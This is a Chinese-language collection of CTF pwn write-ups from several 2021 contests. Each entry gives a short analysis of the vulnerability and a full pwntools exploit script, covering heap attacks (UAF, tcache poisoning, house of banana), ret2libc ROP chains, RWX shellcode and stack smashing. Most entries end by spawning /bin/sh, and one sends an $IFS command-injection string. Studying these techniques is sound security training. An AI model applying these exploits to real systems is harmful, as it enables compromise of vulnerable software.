1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *context.log_level = 'debug' p = process('pwdFree' ) elf = ELF('pwdFree' ) libc = ELF('libc-2.27.so' ) def add (size,content ): p.recvuntil("Input Your Choice:" ) p.sendline("1" ) p.recvuntil("Input The ID You Want Save:" ) p.sendline("1" ) p.recvuntil("Length Of Your Pwd:" ) p.sendline(str (size)) p.recvuntil("Your Pwd:" ) p.sendline(content) def edit (index,content ): p.recvuntil("Input Your Choice:" ) p.sendline("2" ) p.sendline(str (index)) p.send(content) def show (index ): p.recvuntil("Input Your Choice:" ) p.sendline("3" ) p.recvuntil("Which PwdBox You Want Check:" ) p.sendline(str (index)) def free (idx ): p.recvuntil("Input Your Choice:" ) p.sendline("4" ) p.recvuntil("Idx you want 2 Delete:" ) p.sendline(str (idx)) add(0xf8 ,b'a\n' ) p.recvuntil("Save ID:" ) p.recv(8 ) key = u64(p.recv(8 )) print (hex (key))for i in range (6 ): add(0xf8 ,b'aaa' ) add(0xf8 ,b'aaa' ) add(0x78 ,b'aaa' ) add(0xf8 ,b'aaa' ) add(0x88 ,b'aaa' ) for i in range (7 ): free(i) free(8 ) free(7 ) add(0x78 ,b'a' *0x70 +p64((0x80 +0x100 )^key)) free(9 ) add(0x78 ,b'aaa' ) add(0x78 ,b'aaa' ) show(0 ) p.recvuntil(b'is: ' ) libc_base = u64(p.recv(8 )) ^ key libc_base -= 0x3ebca0 print (hex (libc_base))''' 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' binsh = u64(b'/bin/sh\x00' ) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ] add(0x60 ,b'aaa' ) free(0 ) edit(3 ,b'a' *0x10 ) free(3 ) add(0x60 ,p64(free_hook^key)) add(0x60 ,b'\x00' ) add(0x60 ,p64(system^key)) add(0x60 ,p64(binsh^key)) free(5 ) gdb.attach(p) p.interactive()
[CISCN 2021]PWN4
题目解析
具体见我前面UAF的文章
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from os import systemfrom pwn import *p = process("crash" ) context.log_level = 'debug' libc = ELF('libc-2.23.so' ) elf = ELF('crash' ) def add (size,data ): p.sendline('add ' ) p.sendlineafter('Pls give data size:' ,str (size)) p.sendlineafter('data:' ,data) def dele (idx ): p.sendline('delete ' ) p.recvuntil('id:' ) p.sendline(str (idx)) p.sendafter('Are you sure?:' ,'yes' ) add(4 ,'aaa' ) add(4 ,'aaa' ) dele(0 ) dele(1 ) dele(0 ) add(0x20 ,'\x00' ) add(0x20 ,b'c' *0x18 +b'\x0b\x00' ) dele(0 ) p.recvuntil(b'c' *0x18 ) elf_base = u64(p.recv(6 ).ljust(8 ,b'\x00' )) - 0xd0b print (hex (elf_base))dele(1 ) ''' 0x000000000000119c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000000119e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000000011a0 : pop r14 ; pop r15 ; ret 0x00000000000011a2 : pop r15 ; ret 0x000000000000119b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000000119f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000000a80 : pop rbp ; ret 0x00000000000011a3 : pop rdi ; ret 0x00000000000011a1 : pop rsi ; pop r15 ; ret 0x000000000000119d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000929 : ret 0x0000000000000962 : ret 0x2016 0x000000000000102b : ret 0x8b48 0x0000000000000dd2 : ret 0x8d48 ''' pop_rdi = elf_base + 0x11a3 puts_plt = elf_base + elf.plt['puts' ] puts_got = elf_base + elf.got['puts' ] main = elf_base + elf.sym['main' ] pop_4 = elf_base + 0x119c read_got = elf_base + elf.got['read' ] pop_6 = elf_base + 0x119a rop2 = elf_base + 0x1180 bin_sh = elf_base + 0x202080 add(0x4 ,b'\x00' ) add(0x20 ,b'd' *0x18 +p64(pop_4)) payload1 = p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_6)+p64(0 )+p64(1 )+p64(read_got)+p64(8 )+p64(bin_sh)+p64(0 )+p64(rop2)+b'\x00' *56 +p64(main) payload1 = b"yes\x00\x00\x00\x00\x00" + payload1 p.sendline('delete ' ) p.recvuntil('id:' ) p.sendline('1' ) p.recvuntil('Are you sure?:' ) p.send(payload1) puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc_base = puts_addr - libc.sym['puts' ] system_addr = libc_base + libc.symbols['system' ] p.send(b"/bin/sh\x00" ) dele(0 ) add(0x4 ,b'\x00' ) add(0x20 ,b'd' *0x18 +p64(pop_4)) payload2 = p64(pop_rdi) + p64(bin_sh) + p64(system_addr) + p64(main) payload2 = b'yes' .ljust(8 ,b'\x00' ) + payload2 p.sendline('delete ' ) p.recvuntil('id:' ) p.sendline('1' ) p.recvuntil('Are you sure?:' ) p.send(payload2) dele(0 ) p.interactive()
[长安杯 2021学生组]baige
题目考点
1.unsorted bin attact
2.逻辑漏洞
IDA 分析
本题功能add,show,edit,delete一应俱全
漏洞点在add函数中
add 函数用一个数组来储存size,而且在进入检查之前就会对数组中的值赋值 ,这就意味着我可以利用这点来修改已经申请到的堆块的大小造成堆溢出
解题思路
Step1: leak libc
本题题目环境位2.27需要填满tacahe,来Unsorted bin attack
1 2 3 4 5 6 7 8 9 10 11 12 for i in range (8 ): add(i,0x88 ,b'aaaa' ) add(8 ,0x88 ,b'aaa' ) for i in range (8 ): free(i) add(9 ,0x18 ,b'aaaaaaaa' ) show(9 ) p.recvuntil('aaaaaaaa\n' ) libc_base = (u64(p.recvuntil('\n' ,drop=True ).ljust(8 ,b'\x00' ))<<8 ) -0x3ebd00
Step2: 利用逻辑漏洞制造堆溢出,打free_hook来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(10 ,0x18 ,b'a' ) free(10 ) choice(1 ) p.recvuntil("idx?" ) p.sendline("9" ) p.recvuntil("size?" ) p.sendline("100000" ) payload= p64(0 )*3 +p64(0x21 )+p64(free_hook) edit(9 ,0x40 ,payload) add(10 ,0x18 ,b'a' ) gdb.attach(p) add(11 ,0x18 ,p64(system)) add(12 ,0x18 ,'/bin/sh\x00' ) free(12 )
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *p = process("fff" ) libc = ELF("libc-2.27.so" ) def choice (choice ): p.recvuntil(">>" ) p.sendline(str (choice)) def add (idx,size,content ): choice(1 ) p.recvuntil("idx?" ) p.sendline(str (idx)) p.recvuntil("size?" ) p.sendline(str (size)) p.recvuntil("content?" ) p.sendline(content) def free (idx ): choice(2 ) p.recvuntil("idx?" ) p.sendline(str (idx)) def edit (idx,size,content ): choice(3 ) p.recvuntil("idx?" ) p.sendline(str (idx)) p.recvuntil("size?" ) p.sendline(str (size)) p.recvuntil("content?" ) p.sendline(content) def show (idx ): choice(4 ) p.recvuntil("idx?" ) p.sendline(str (idx)) for i in range (8 ): add(i,0x88 ,b'aaaa' ) add(8 ,0x88 ,b'aaa' ) for i in range (8 ): free(i) add(9 ,0x18 ,b'aaaaaaaa' ) show(9 ) p.recvuntil('aaaaaaaa\n' ) libc_base = (u64(p.recvuntil('\n' ,drop=True ).ljust(8 ,b'\x00' ))<<8 ) -0x3ebd00 print (hex (libc_base))free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] add(10 ,0x18 ,b'a' ) free(10 ) choice(1 ) p.recvuntil("idx?" ) p.sendline("9" ) p.recvuntil("size?" ) p.sendline("100000" ) payload= p64(0 )*3 +p64(0x21 )+p64(free_hook) edit(9 ,0x40 ,payload) add(10 ,0x18 ,b'a' ) add(11 ,0x18 ,p64(system)) add(12 ,0x18 ,'/bin/sh\x00' ) free(12 ) p.interactive()
[2021 祥云杯]note
题目分析
具体分析见我house of orange 那篇笔记
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * p = remote("1.14.71.254" ,28009 ) libc = ELF("libc-2.23.so" ) def add (size,content ): p.recvuntil("choice: " ) p.sendline("1" ) p.sendlineafter("size: " ,str (size)) p.sendafter("content: " ,content) def show (): p.recvuntil("choice: " ) p.sendline("3" ) def say (content1,content2 ): p.recvuntil("choice: " ) p.sendline("2" ) p.recvuntil("say ? " ) p.send(content1) p.recvuntil("? " ) p.sendline(content2) add(0x30 ,b'a' ) p.recvuntil(b'addr: ' ) heap_addr = int (p.recv(14 ),16 ) top_chunk = heap_addr + 0x30 top_size = top_chunk + 8 say(b'%7$daaaa' +p64(top_size),str (0xfc1 )) for i in range (15 ): add(0x100 ,b'a' ) add(0x40 ,b'a' *8 ) show() libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x3c4c28 success(hex (libc_base)) one_gadgets = [0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] malloc_hook = libc_base + libc.sym['__malloc_hook' ] realloc_hook = libc_base + libc.sym['__realloc_hook' ] realloc = libc_base + libc.sym['realloc' ] one = libc_base + one_gadgets[1 ] say(b'%7$saaaa' +p64(malloc_hook-8 ),p64(one)+p64(realloc+12 )) p.recvuntil("choice: " ) p.sendline("1" ) p.recvuntil("size: " ) p.sendline("2" ) p.interactive()
[2021 祥云杯]PasswordBox ProVersion
题目分析
功能与FreeVersion 相似,多了完整的edit和show,以及一个recover可以恢复被释放掉的堆块
但是题目所给的libc版本位2.31,且程序能够显式的执行exit函数,这就想到了ha1vk师傅提出的高版本glibc的利用方式,house of banana(链接:“https://www.anquanke.com/post/id/222948?display=mobile ”)
然后就是一波依葫芦画瓢
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from pwn import *p = process("pwdPro" ) elf = ELF('pwdPro' ) libc = ELF('libc-2.31.so' ) ld = ELF('ld-2.31.so' ) def add (index,size,content ): p.recvuntil("Choice:" ) p.sendline("1" ) p.recvuntil("Add" ) p.sendline(str (index)) p.recvuntil("Save:" ) p.sendline("1" ) p.recvuntil("Pwd:" ) p.sendline(str (size)) p.recvuntil("Pwd" ) p.sendline(content) def edit (index,content ): p.recvuntil("Choice:" ) p.sendline("2" ) p.recvuntil("Edit:" ) p.sendline(str (index)) p.send(content) def show (index ): p.recvuntil("Choice:" ) p.sendline("3" ) p.recvuntil("Check:" ) p.sendline(str (index)) def free (index ): p.recvuntil("Choice:" ) p.sendline("4" ) p.recvuntil("Delete:" ) p.sendline(str (index)) def recover (index ): p.recvuntil("Choice:" ) p.sendline("5" ) p.recvuntil("Recover" ) p.sendline(str (index)) add(0 ,0x520 ,b'a\n' ) p.recvuntil("ID:" ) p.recv(8 ) key = u64(p.recv(8 )) add(1 ,0x428 ,b'b' *0x428 ) add(2 ,0x500 ,b'c' *0x500 ) add(3 ,0x420 ,b'd' *0x420 ) free(0 ) add(4 ,0x600 ,b'c' *0x600 ) add(5 ,0x600 ,b'c' *0x600 ) recover(0 ) show(0 ) p.recvuntil("is: " ) libc_addr = (u64(p.recv(8 ))^key) libc_base = libc_addr -0x1ec010 print (hex (libc_base))rtl_global = libc_base + 0x1f4000 + ld.sym['_rtld_global' ] set_context = libc_base + libc.sym['setcontext' ] + 0x3D ret = libc_base + libc.sym['setcontext' ] + 0x14E pop_rdi_rbp_ret = libc_base + 0x00000000000276e9 binsh_addr = libc_base + 0x1b75aa system_addr = libc_base + libc.sym['system' ] edit(0 ,b'a' *0x10 ) show(0 ) p.recvuntil("is: " ) p.recv(0x10 ) heap_addr = (u64(p.recv(8 ))^key) print (hex (heap_addr))edit(0 ,p64(libc_addr)*2 ) free(2 ) free(4 ) edit(0 ,p64(0 ) + p64(0 ) + p64(0 ) + p64(rtl_global - 0x20 )) add(6 ,0x600 ,b'large bin attack!!\n' ) payload = p64(0 ) + p64(rtl_global+0x221730 -0x220060 +0x10 ) + p64(0 ) + p64(heap_addr + 0x960 ) payload += p64(set_context) + p64(ret) payload += p64(binsh_addr) payload += p64(0 ) payload += p64(system_addr) payload += b'\x00' *0x80 payload += p64(heap_addr + 0x960 + 0x28 + 0x18 ) payload += p64(pop_rdi_rbp_ret) payload = payload.ljust(0x100 ,b'\x00' ) payload += p64(heap_addr + 0x960 + 0x10 + 0x110 )*0x3 payload += p64(0x10 ) payload = payload.ljust(0x31C - 0x10 ,b'\x00' ) payload += p64(0x8 ) recover(2 ) edit(2 ,payload) edit(1 ,b'b' *0x420 + p64(heap_addr + 0x960 + 0x20 )) p.recvuntil("Choice:" ) p.sendline("6" ) p.interactive()
[2021 鹤城杯]babyof
题目考点
ret2libc
分析
buf处存在栈溢出
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p = remote('1.14.71.254' ,28073 ) libc = ELF('libc-2.27.so' ) elf = ELF('babyof' ) ret = 0x0000000000400506 pop_rdi = 0x0000000000400743 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x40066B p.recvuntil("?" ) payload = b'a' *0x40 + p64(0 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main) p.sendline(payload) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['puts' ] binsh = libc_base + 0x00000000001b3e1a system = libc_base + libc.sym['system' ] p.recvuntil("?" ) payload = b'a' *0x40 + p64(0 ) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
[2021 鹤城杯]littleof
题目考点
ret2libc
canary
题目分析
题目存在canary
通过IDA分析可以得到canary的位置在距buf的0x48处,即只要padding0x48个字节就能得到canary剩下的就是基操了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *p = process('littleof' ) p = remote("1.14.71.254" ,28147 ) libc = ELF('libc-2.27.so' ) elf = ELF('littleof' ) ret = 0x000000000040059e pop_rdi =0x0000000000400863 main = 0x4006E2 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] p.recvuntil('overflow?' ) payload = b'a' *0x48 p.sendline(payload) p.recvuntil('a' *0x48 ) canary = u64(p.recv(8 ).rjust(8 ,b'\x00' )) canary = canary & 0XFFFFFFFFFFFFFFF0 print (hex (canary))p.recvuntil('!' ) payload1 = b'a' *0x48 + p64(canary) + p64(0 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main) p.sendline(payload1) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['puts' ] print (hex (libc_base))binsh = libc_base + 0x00000000001b3e1a system = libc_base + libc.sym['system' ] p.recvuntil('overflow?' ) payload = b'a' *0x48 p.sendline(payload) p.recvuntil('a' *0x48 ) canary = u64(p.recv(8 ).rjust(8 ,b'\x00' )) canary = canary & 0XFFFFFFFFFFFFFFF0 p.recvuntil('!' ) payload2 = b'a' *0x48 + p64(canary) + p64(0 ) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system) p.sendline(payload2) p.interactive()
[2021 祥云杯]JigSAW’sCage
题目考点
1.shellcode
2.整数溢出
IDA 分析
漏洞函数
虽然程序保护全开,但是漏洞函数中当条件满足时(利用整数溢出)会调用mprotect函数且prot的值为7,即对qword_5148+1024赋予RWX权限
而qwor_5148又在heap处,故我们申请的堆块就有着RWX权限,所以可以向堆块中写入shellcode
难点就在于edit函数只能一次写入0x10个字节,所以shellcode需要分段写入,在写入的过程中要不断调整rsp
最后利用给出的test函数来执行shellcode
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context.log_level = 'debug' p = process('./JigSAW' ) p = remote("1.14.71.254" ,28001 ) context.arch = "amd64" def add (idx ): p.sendlineafter("Choice :" , "1" ) p.sendlineafter("Index? :" , str (idx)) def show (idx ): p.sendlineafter("Choice :" , "5" ) p.sendlineafter("Index? :" , str (idx)) def edit (idx, content ): p.sendlineafter("Choice :" , "2" ) p.sendlineafter("Index? :" , str (idx)) p.sendafter("iNput:" , content) def free (idx ): p.sendlineafter("Choice :" , "3" ) p.sendlineafter("Index? :" , str (idx)) def test (idx ): p.sendlineafter("Choice :" , "4" ) p.sendlineafter("Index? :" , str (idx)) s1 = asm("mov rsp, rdx\nadd rsp, 0x20\npush rsp" ) s2 = asm("mov rax, 0x68732f6e69622f\nadd rsp, 0x20\npush rsp" ) s3 = asm("push rax\nmov rdi, rsp\nxor rsi, rsi\nadd rsp, 0x28\npush rsp" ) s4 = asm("xor rdx, rdx\nmov rax, 59\nsyscall\n" ) print (len (s1))print (len (s2))print (len (s3))print (len (s4))p.sendlineafter("Name:" , "hgg" ) p.sendlineafter("Choice:" , str (0x1 <<32 )) add(0 ) add(1 ) add(2 ) add(3 ) edit(0 ,s1) edit(1 , s2) edit(2 , s3) edit(3 , s4) test(0 ) p.interactive()
[2021 鹤城杯]easyecho
题目考点
stack smashing
解题思路
Step1:输入name时溢出,计算程序地址
Step2:输入backdoor 将flag读到栈上
Step3: 利用gets(v10)stack smashing
计算偏移
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.log_level="debug" p=process("./easyecho" ) p.sendafter("Name: " ,"A" *16 ) p.recvuntil("Welcome AAAAAAAAAAAAAAAA" ) leak=u64(p.recv(6 ).ljust(8 ,b'\x00' )) pie_base=leak-0xcf0 print ("leak" ,hex (leak))flag_addr=pie_base+0x202040 print ("flag:" ,hex (flag_addr))p.recvuntil("Input: " ) p.sendline("backdoor" ) p.sendlineafter("Input: " ,b'a' *0x168 +p64(flag_addr)) p.recvuntil("Input:" ) p.sendline('exitexit' ) p.interactive()
[2021 东华杯]gcc2
题目考点
1.UAF
2.tcache bin attack
题目分析
漏洞点在free函数,存在UAF
add 函数限制了堆块申请个数以及最大申请的大小
解题思路比较简单,利用UAF想办法构造一个大块释放近unsorted bin泄露出libc然后打free_hook
解题步骤
Step1:利用UAF构造一个大于0x410的块,释放进入unsorted bin得到libc地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 for i in range (10 ): add(i, 0x60 ) add(10 , 0x18 ) free(10 ) edit(10 , p64(0 )*2 ) free(10 ) show(10 ) heap_addr = u64(p.recvuntil("Welcome" , drop=True )[-7 :- 1 ].ljust(8 , b"\x00" )) success("heap:" +hex (heap_addr)) edit(10 , p64(heap_addr-0x470 )+p64(0 )) add(11 , 0x18 ) add(12 , 0x18 ) edit(12 , p64(0 )+b'\x81\x04' ) add(13 ,0x60 ) free(0 ) show(0 ) libc_base = u64(p.recvuntil("Welcome" , drop=True )[-7 :- 1 ].ljust(8 , b"\x00" )) - 0x1ebbe0 success("libc:" + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ]
Step2: 劫持free_hook
1 2 3 4 5 6 7 8 9 free(1 ) free(2 ) edit(2 ,p64(free_hook)) add(14 ,0x60 ) add(15 ,0x60 ) edit(15 ,p64(system)) edit(4 ,b'/bin/sh\x00' ) free(4 )
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *p = remote("1.14.71.254" ,28017 ) libc = ELF('libc-2.31.so' ) def choice (choice ): p.recvuntil(">>" ) p.sendline(str (choice)) def add (index,size ): choice(1 ) p.recvuntil(">>" ) p.sendline(str (index)) p.recvuntil(">>" ) p.sendline(str (size)) def edit (index,content ): choice(2 ) p.recvuntil(">>" ) p.sendline(str (index)) p.recvuntil(">>" ) p.sendline(content) def show (index ): choice(3 ) p.recvuntil(">>" ) p.sendline(str (index)) def free (index ): choice(4 ) p.recvuntil(">>" ) p.sendline(str (index)) for i in range (10 ): add(i, 0x60 ) add(10 , 0x18 ) free(10 ) edit(10 , p64(0 )*2 ) free(10 ) show(10 ) heap_addr = u64(p.recvuntil("Welcome" , drop=True )[-7 :- 1 ].ljust(8 , b"\x00" )) success("heap:" +hex (heap_addr)) edit(10 , p64(heap_addr-0x470 )+p64(0 )) add(11 , 0x18 ) add(12 , 0x18 ) edit(12 , p64(0 )+b'\x81\x04' ) add(13 ,0x60 ) free(0 ) show(0 ) libc_base = u64(p.recvuntil("Welcome" , drop=True )[-7 :- 1 ].ljust(8 , b"\x00" )) - 0x1ebbe0 success("libc:" + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] free(1 ) free(2 ) edit(2 ,p64(free_hook)) add(14 ,0x60 ) add(15 ,0x60 ) edit(15 ,p64(system)) edit(4 ,b'/bin/sh\x00' ) free(4 ) p.interactive()
[2021 东华杯]cpp1
题目考点
1.overlapping
2.tcache bin attack
题目分析
漏洞点在edit函数,存在溢出
add 函数限制了堆块申请个数以及最大申请的大小
解题思路比较简单,利用chunk overlapping 泄露出libc 然后打free_hook
解题步骤
Step1:填满tcache,利用edit中的溢出修改size制造overlapped chunk,释放进入unsorted bin得到libc地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for i in range (0 ,7 ): add(i,0xf0 ) add(7 ,0x18 ) add(8 ,0x38 ) add(9 ,0xb8 ) add(10 ,0x38 ) edit(7 ,b'a' *0x18 +b'\x01\x01' ) for i in range (0 ,7 ): free(i) free(8 ) add(8 ,0x38 ) show(9 ) libc_base = u64(p.recvuntil("Welcome" , drop=True )[-7 :- 1 ].ljust(8 , b"\x00" )) -0x1ebbe0 success("libc: " + hex (libc_base)) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ]
Step2: 劫持free_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(0 ,0x18 ) add(1 ,0x18 ) add(2 ,0x18 ) add(3 ,0x18 ) free(0 ) free(2 ) edit(1 ,b'a' *0x18 +p64(0x21 )+p64(free_hook)) add(4 ,0x18 ) add(5 ,0x18 ) edit(5 ,p64(system)) add(6 ,0x18 ) edit(6 ,b'/bin/sh\x00' ) free(6 )
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *p = remote("1.14.71.254" ,28139 ) libc = ELF('libc-2.31.so' ) def choice (choice ): p.recvuntil(">>" ) p.sendline(str (choice)) def add (index,size ): choice(1 ) p.recvuntil(">>" ) p.sendline(str (index)) p.recvuntil(">>" ) p.sendline(str (size)) def edit (index,content ): choice(2 ) p.recvuntil(">>" ) p.sendline(str (index)) p.recvuntil(">>" ) p.sendline(content) def show (index ): choice(3 ) p.recvuntil(">>" ) p.sendline(str (index)) def free (index ): choice(4 ) p.recvuntil(">>" ) p.sendline(str (index)) for i in range (0 ,7 ): add(i,0xf0 ) add(7 ,0x18 ) add(8 ,0x38 ) add(9 ,0xb8 ) add(10 ,0x38 ) edit(7 ,b'a' *0x18 +b'\x01\x01' ) for i in range (0 ,7 ): free(i) free(8 ) add(8 ,0x38 ) show(9 ) libc_base = u64(p.recvuntil("Welcome" , drop=True )[-7 :- 1 ].ljust(8 , b"\x00" )) -0x1ebbe0 success("libc: " + hex (libc_base)) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ] add(0 ,0x18 ) add(1 ,0x18 ) add(2 ,0x18 ) add(3 ,0x18 ) free(0 ) free(2 ) edit(1 ,b'a' *0x18 +p64(0x21 )+p64(free_hook)) add(4 ,0x18 ) add(5 ,0x18 ) edit(5 ,p64(system)) add(6 ,0x18 ) edit(6 ,b'/bin/sh\x00' ) free(6 ) p.interactive()
[东华杯 2021]bg3
题目考点
1.程序逻辑漏洞
2.tcache attack
题目分析
漏洞点在add函数,就是具有相同idx的chunk的size会叠加,由此造成溢出
解题步骤
Step1:unsorted bin attack 泄露libc
1 2 3 4 5 6 7 8 9 add(0 ,0x410 ) add(1 ,0x18 ) free(0 ) add(0 ,0x410 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x1ebbe0 success("libc:" +hex (libc_base)) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ]
Step2: 利用溢出来修改tcache chunk的fd指针,劫持free_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 add(2 ,0x18 ) free(2 ) add(2 ,0x18 ) free(2 ) add(2 ,0x18 ) add(3 ,0x18 ) add(4 ,0x18 ) free(4 ) free(3 ) edit(2 ,p64(0 )*3 +p64(0x21 ))+p64(free_hook)) add(5 ,0x18 ) add(6 ,0x18 ) edit(6 ,p64(system)) edit(0 ,b'/bin/sh\x00' ) free(0 )
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *p = remote("1.14.71.254" ,28070 ) libc = ELF('libc-2.31.so' ) def choice (choice ): p.recvuntil("Select:" ) p.sendline(str (choice)) def add (index,size ): choice(1 ) p.recvuntil("Index:" ) p.sendline(str (index)) p.recvuntil("Length" ) p.sendline(str (size)) def edit (index,content ): choice(2 ) p.recvuntil("Index:" ) p.sendline(str (index)) p.recvuntil("Info:" ) p.sendline(content) def show (index ): choice(3 ) p.recvuntil("Index:" ) p.sendline(str (index)) def free (index ): choice(4 ) p.recvuntil("Index:" ) p.sendline(str (index)) add(0 ,0x410 ) add(1 ,0x18 ) free(0 ) add(0 ,0x410 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x1ebbe0 success("libc:" +hex (libc_base)) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ] add(2 ,0x18 ) free(2 ) add(2 ,0x18 ) free(2 ) add(2 ,0x18 ) add(3 ,0x18 ) add(4 ,0x18 ) free(4 ) free(3 ) edit(2 ,p64(0 )*3 +p64(0x21 )+p64(free_hook)) add(5 ,0x18 ) add(6 ,0x18 ) edit(6 ,p64(system)) edit(0 ,b'/bin/sh\x00' ) free(0 ) p.interactive()
[东华杯 2021]boom_script
题目考点
1.tcache attack
2.UAF
3.类VMpwn
题目分析
这道题跟着群里大佬的wp做的,写的很详细
boom_script
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *p = remote("1.14.71.254" ,28182 ) libc = ELF('libc-2.31.so' ) p.recvuntil("$" ) p.sendline("1" ) payload = ''' var1 = "{0}";\ var2 = "{1}";\ var1 = "{2}";\ prints("aaaaaaaa"); var2 = "AAAAAAAA"; array arr1[20]; inputn(var3); arr1[-3] = var3; arr1[-35] = 844424930131968; var4 = "{1}"; array arr2[1]; inputn(var5); arr2[0] = var5; var6 = "/bin/sh"; var6 = "AAAAAAAA"; ''' .format ('a' * 0x458 , 'b' * 0x38 , 'c' * 0x18 )p.recvuntil("length:" ) p.sendline(str (len (payload)+1 )) p.recvuntil("code:" ) p.sendline(payload) p.recvuntil(b'a' *8 ) libc_base = u64(p.recvuntil('\x7f' ).ljust(8 ,b'\x00' )) -0x1ebfe0 success(hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] success(hex (free_hook)) p.send(str (free_hook-0x28 )) p.send(str (system)) p.interactive()
nc签到
题目考点
linux 文件操作
exp
1 2 3 4 5 from pwn import * p = remote("1.14.71.254" ,28082 ) p.sendline("tac$IFS$9flag" ) print (p.recv())p.interactive()
gift_pwn
题目考点
